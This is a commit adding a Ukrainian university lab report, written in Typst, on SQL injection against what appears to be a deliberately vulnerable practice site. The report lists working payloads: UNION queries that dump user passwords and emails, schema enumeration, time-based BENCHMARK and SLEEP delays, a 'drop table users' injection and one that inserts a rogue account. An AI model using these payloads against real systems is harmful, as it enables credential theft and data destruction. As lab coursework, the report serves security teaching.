feat: add even more vulnerabilities! migrate to mysql

This commit is contained in:
2025-06-05 21:25:40 +03:00
parent 11b7696c19
commit 5bea4d52cb
10 changed files with 236 additions and 53 deletions

70
lab.typ Normal file
View File

@ -0,0 +1,70 @@
#import "@local/nure:0.1.0": *
#show: pz-lb.with(..yaml("doc.yaml"), title: [SQL-ІН'ЄКЦІЇ], worknumber: 2)
#v(-spacing)
== Мета роботи
Ознайомитися з вразливостями типу "ін’єкції", зокрема SQL-ін'єкції.
== Хід роботи
#v(-spacing)
vulnerability.linerds.us/products
IN PRODUCT SEARCH
`' OR 1=1 --`
`' UNION select password, password, email from users;`
`' or id=2; -- select item with Nth(2nd) id`
`' UNION SELECT group_concat('email: ', email, ' passw: ', password), 1, 2 from users -- `
`' UNION SELECT password, username, email from users where email like '%admin%'; -- `
`' union select TABLE_NAME,1,2 from INFORMATION_SCHEMA.TABLES; # `
`' union select SCHEMA_NAME, 1,2 from INFORMATION_SCHEMA.SCHEMATA; # `
`' union select BENCHMARK(500000, AES_DECRYPT(AES_ENCRYPT(REPEAT("a",3000), "key"), "key")), 2, 3; # `
#figure(image("waiting_50s.png"), caption: [Результат SQL ін'єкції на основі часу]) // TODO: caption
IN ADD PRODUCT
`3); drop table users; `
`-1); insert into users(username, email, password) values ('hacker2222', 'mail\@hackerr.com' , 'pass'); -- `
`'1'); DO SLEEP(5); #`
// === Підготовка
// #lorem(150)
// === Виконання дослідження
// #lorem(300)
// === Підрахунок результатів
// #lorem(250)
== Висновки
// == Контрольні запитання
// #lorem(100):
// - #lorem(20);
// - #lorem(30);
// - #lorem(15);
// - #lorem(25);
// - #lorem(42);
// - #lorem(27).
#show: appendices_style
// = Quote
// #link("https://youtu.be/bJQj1uKtnus")[
// The art isn't the art, the art is never the art,
// the art is the thing that happens inside you when you make it and the feeling in the heart of the beholder.
// ]
// = Приклад звіту 1
// #v(-spacing)
// == Частина 1
// #lorem(100)
// == Частина2
// #lorem(200)
//
// = Приклад звіту 2
// #lorem(200)
//
// = Приклад звіту 3
// #lorem(200)